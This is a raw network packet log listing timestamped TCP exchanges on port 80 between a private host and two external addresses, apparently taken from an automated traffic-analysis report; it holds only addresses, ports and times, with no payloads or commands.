Nov 24, 2024 12:05:50.938752890 CET	49939	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:51.052237988 CET	80	49944	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:51.052320957 CET	49944	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:51.052460909 CET	49944	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:51.172040939 CET	80	49944	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:52.362545967 CET	80	49944	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:52.363090038 CET	49944	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:52.483239889 CET	80	49944	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:52.483340979 CET	49944	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:52.547252893 CET	49947	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:52.601551056 CET	80	49930	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:52.604760885 CET	49930	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:52.666922092 CET	80	49947	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:52.669934988 CET	49947	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:52.670052052 CET	49947	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:52.789511919 CET	80	49947	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:53.976739883 CET	80	49947	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:53.977163076 CET	49947	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:54.096983910 CET	80	49947	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:54.097062111 CET	49947	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:56.168642998 CET	49957	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:56.288332939 CET	80	49957	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:56.288436890 CET	49957	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:56.294596910 CET	49957	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:56.414329052 CET	80	49957	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:57.614417076 CET	80	49957	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:57.645301104 CET	49957	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:57.765151978 CET	80	49957	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:57.765213013 CET	49957	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:59.397743940 CET	49964	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:59.517467976 CET	80	49964	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:59.519514084 CET	49964	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:59.524944067 CET	49964	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:59.646747112 CET	80	49964	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:00.794481039 CET	80	49964	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:00.795097113 CET	49964	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:00.915162086 CET	80	49964	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:00.915235043 CET	49964	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:01.184719086 CET	49970	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:01.189213037 CET	49971	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:01.304337025 CET	80	49970	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:01.304410934 CET	49970	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:01.304518938 CET	49970	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:01.308933973 CET	80	49971	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:01.309004068 CET	49971	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:01.309434891 CET	49971	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:01.424175024 CET	80	49970	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:01.428916931 CET	80	49971	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:02.564130068 CET	80	49970	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:02.575341940 CET	80	49971	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:02.622961998 CET	49970	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:02.781409025 CET	49971	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:02.786526918 CET	49970	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:02.812752008 CET	49971	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:02.906590939 CET	80	49970	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:02.907668114 CET	49970	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:02.928185940 CET	49930	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:02.928538084 CET	49976	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:02.932868004 CET	80	49971	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:02.932929039 CET	49971	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:02.988946915 CET	49977	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:03.049581051 CET	80	49930	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:03.049843073 CET	80	49976	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:03.050041914 CET	49976	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:03.063842058 CET	49976	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:03.108979940 CET	80	49977	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:03.112807989 CET	49977	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:03.113019943 CET	49977	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:03.186641932 CET	80	49976	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:03.232536077 CET	80	49977	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:04.363940001 CET	80	49977	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:04.364451885 CET	49977	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:04.381767035 CET	80	49976	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:04.381838083 CET	49976	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:04.484586000 CET	80	49977	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:04.487704992 CET	49977	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:05.023466110 CET	49979	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:05.142990112 CET	80	49979	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:05.143059969 CET	49979	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:05.154268026 CET	49979	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:05.302722931 CET	80	49979	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:05.937783957 CET	49985	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:06.062596083 CET	80	49985	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:06.062803030 CET	49985	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:06.076149940 CET	49985	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:06.195792913 CET	80	49985	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:06.410665989 CET	80	49979	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:06.420274973 CET	49979	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:06.540251017 CET	80	49979	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:06.540307999 CET	49979	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:06.714757919 CET	49976	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:06.715029955 CET	49986	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:06.889573097 CET	80	49986	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:06.889585018 CET	80	49976	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:06.889674902 CET	49976	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:06.889679909 CET	49986	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:06.920037985 CET	49986	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:07.129201889 CET	80	49986	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:07.327986956 CET	80	49985	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:07.328500986 CET	49985	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:07.448725939 CET	80	49985	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:07.448788881 CET	49985	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:08.115524054 CET	49991	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:08.235053062 CET	80	49991	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:08.235130072 CET	49991	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:08.235279083 CET	49991	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:08.264122009 CET	80	49986	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:08.264206886 CET	49986	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:08.354737043 CET	80	49991	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:08.624407053 CET	49993	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:08.744379997 CET	80	49993	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:08.744484901 CET	49993	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:08.748045921 CET	49993	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:08.867566109 CET	80	49993	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:09.594404936 CET	80	49991	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:09.594935894 CET	49991	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:09.714663982 CET	80	49991	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:09.714725018 CET	49991	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:10.095940113 CET	80	49993	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:10.096391916 CET	49993	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:10.216481924 CET	80	49993	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:10.216572046 CET	49993	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:11.084012032 CET	49999	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:11.203486919 CET	80	49999	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:11.203600883 CET	49999	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:11.217077017 CET	49999	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:11.337305069 CET	80	49999	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:12.502903938 CET	50004	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:12.559952021 CET	80	49999	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:12.560319901 CET	49999	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:12.622514963 CET	80	50004	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:12.622684002 CET	50004	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:12.622910023 CET	50004	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:12.680519104 CET	80	49999	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:12.680681944 CET	49999	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:12.742350101 CET	80	50004	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:13.263943911 CET	80	49986	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:13.264014006 CET	49986	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:13.967916965 CET	80	50004	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:13.968517065 CET	50004	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:14.088362932 CET	80	50004	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:14.088424921 CET	50004	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:15.067935944 CET	50010	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:15.189852953 CET	80	50010	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:15.189946890 CET	50010	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:15.200854063 CET	50010	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:15.320532084 CET	80	50010	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:16.480266094 CET	80	50010	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:16.480777025 CET	50010	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:16.600524902 CET	80	50010	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:16.600589991 CET	50010	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:17.916439056 CET	50017	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:18.036118984 CET	80	50017	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:18.036302090 CET	50017	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:18.044914007 CET	50017	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:18.165537119 CET	80	50017	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:19.358442068 CET	80	50017	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:19.358932018 CET	50017	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:19.478840113 CET	80	50017	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:19.478916883 CET	50017	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:19.495271921 CET	50021	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:19.614840984 CET	80	50021	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:19.614933014 CET	50021	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:19.615078926 CET	50021	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:19.734627962 CET	80	50021	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:20.936778069 CET	80	50021	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:20.937278032 CET	50021	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:21.057508945 CET	80	50021	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:21.057621956 CET	50021	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:22.261779070 CET	50022	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:22.381442070 CET	80	50022	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:22.381517887 CET	50022	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:22.381680012 CET	50022	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:22.501136065 CET	80	50022	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:23.602719069 CET	50023	80	192.168.2.5	178.215.224.252
Nov 24, 2024 12:06:23.703572035 CET	80	50022	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:23.704226971 CET	50022	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:23.722347021 CET	80	50023	178.215.224.252	192.168.2.5
Nov 24, 2024 12:06:23.722440004 CET	50023	80	192.168.2.5	178.215.224.252
Nov 24, 2024 12:06:23.726880074 CET	50023	80	192.168.2.5	178.215.224.252
Nov 24, 2024 12:06:23.813432932 CET	50024	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:23.824198008 CET	80	50022	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:23.824295044 CET	50022	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:23.846956968 CET	80	50023	178.215.224.252	192.168.2.5
Nov 24, 2024 12:06:23.933072090 CET	80	50024	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:23.933242083 CET	50024	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:23.933331013 CET	50024	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:24.052903891 CET	80	50024	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:25.283814907 CET	80	50024	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:25.285223961 CET	50024	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:25.405324936 CET	80	50024	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:25.405396938 CET	50024	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:25.707217932 CET	50025	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:25.826787949 CET	80	50025	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:25.826874971 CET	50025	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:25.827071905 CET	50025	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:25.946680069 CET	80	50025	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:27.128097057 CET	80	50025	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:27.128675938 CET	50025	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:27.206749916 CET	50026	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:27.248519897 CET	80	50025	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:27.248620033 CET	50025	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:27.326678038 CET	80	50026	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:27.326806068 CET	50026	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:27.326965094 CET	50026	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:27.446420908 CET	80	50026	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:28.589703083 CET	80	50026	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:28.590388060 CET	50026	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:28.713582993 CET	80	50026	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:28.713689089 CET	50026	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:29.001068115 CET	50027	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:29.120742083 CET	80	50027	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:29.120831966 CET	50027	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:29.120925903 CET	50027	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:29.240459919 CET	80	50027	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:30.446918011 CET	80	50027	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:30.447902918 CET	50027	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:30.549712896 CET	50028	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:30.567939043 CET	80	50027	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:30.568042040 CET	50027	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:30.670044899 CET	80	50028	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:30.670203924 CET	50028	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:30.674067020 CET	50028	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:30.793617964 CET	80	50028	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:31.975743055 CET	80	50028	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:31.976423979 CET	50028	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:32.096560001 CET	80	50028	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:32.096797943 CET	50028	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:32.378874063 CET	50029	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:32.498560905 CET	80	50029	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:32.498645067 CET	50029	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:32.499207973 CET	50029	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:32.618732929 CET	80	50029	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:33.824197054 CET	80	50029	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:33.825596094 CET	50029	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:33.909507990 CET	50030	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:33.946630001 CET	80	50029	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:33.946866989 CET	50029	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:34.029243946 CET	80	50030	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:34.029479027 CET	50030	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:34.029565096 CET	50030	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:34.149126053 CET	80	50030	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:35.290307045 CET	80	50030	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:35.290961027 CET	50030	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:35.411148071 CET	80	50030	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:35.411211967 CET	50030	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:35.806552887 CET	50031	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:35.926357985 CET	80	50031	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:35.926443100 CET	50031	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:35.926666021 CET	50031	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:36.046133041 CET	80	50031	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:37.244282961 CET	80	50031	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:37.244860888 CET	50031	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:37.319488049 CET	50032	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:37.364712954 CET	80	50031	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:37.364818096 CET	50031	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:37.439016104 CET	80	50032	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:37.439121008 CET	50032	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:37.439237118 CET	50032	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:37.558835030 CET	80	50032	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:38.693674088 CET	80	50032	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:38.694217920 CET	50032	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:38.819192886 CET	80	50032	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:38.819333076 CET	50032	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:39.146800041 CET	50033	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:39.266500950 CET	80	50033	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:39.266613007 CET	50033	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:39.266722918 CET	50033	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:39.386430025 CET	80	50033	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:40.519756079 CET	80	50033	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:40.520288944 CET	50033	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:40.614279032 CET	50034	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:40.640170097 CET	80	50033	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:40.640244007 CET	50033	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:40.733805895 CET	80	50034	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:40.733899117 CET	50034	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:40.748153925 CET	50034	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:40.867707968 CET	80	50034	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:42.049232006 CET	80	50034	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:42.050955057 CET	50034	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:42.170892954 CET	80	50034	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:42.170969963 CET	50034	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:42.629314899 CET	50035	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:42.748909950 CET	80	50035	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:42.749010086 CET	50035	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:42.749125004 CET	50035	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:42.868643045 CET	80	50035	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:44.097110033 CET	80	50035	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:44.099303961 CET	50035	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:44.218123913 CET	50036	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:44.219189882 CET	80	50035	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:44.219269991 CET	50035	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:44.337729931 CET	80	50036	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:44.337842941 CET	50036	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:44.337913990 CET	50036	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:44.457492113 CET	80	50036	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:45.696007013 CET	80	50036	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:45.696594954 CET	50036	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:45.697846889 CET	80	50023	178.215.224.252	192.168.2.5
Nov 24, 2024 12:06:45.697925091 CET	50023	80	192.168.2.5	178.215.224.252
Nov 24, 2024 12:06:45.698019981 CET	50023	80	192.168.2.5	178.215.224.252
Nov 24, 2024 12:06:45.816590071 CET	80	50036	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:45.816745996 CET	50036	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:45.817493916 CET	80	50023	178.215.224.252	192.168.2.5
Nov 24, 2024 12:06:46.565577030 CET	50037	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:46.685173035 CET	80	50037	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:46.688869953 CET	50037	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:46.688987970 CET	50037	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:46.808448076 CET	80	50037	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:47.966897964 CET	80	50037	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:47.973364115 CET	50037	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:48.043543100 CET	50038	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:48.093682051 CET	80	50037	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:48.096854925 CET	50037	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:48.164805889 CET	80	50038	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:48.166027069 CET	50038	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:48.166101933 CET	50038	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:48.285855055 CET	80	50038	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:49.466747046 CET	80	50038	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:49.467375040 CET	50038	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:49.588253021 CET	80	50038	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:49.588340044 CET	50038	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:50.008755922 CET	50039	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:50.128539085 CET	80	50039	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:50.128638029 CET	50039	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:50.128731966 CET	50039	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:50.248358965 CET	80	50039	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:50.782282114 CET	50040	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:50.902102947 CET	80	50040	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:50.902199984 CET	50040	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:50.902283907 CET	50040	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:51.021764994 CET	80	50040	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:51.473069906 CET	80	50039	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:51.473717928 CET	50039	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:51.596435070 CET	80	50039	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:51.596539021 CET	50039	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:51.694250107 CET	50041	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:51.813905954 CET	80	50041	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:51.814145088 CET	50041	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:51.814507961 CET	50041	80	192.168.2.5	178.215.224.74
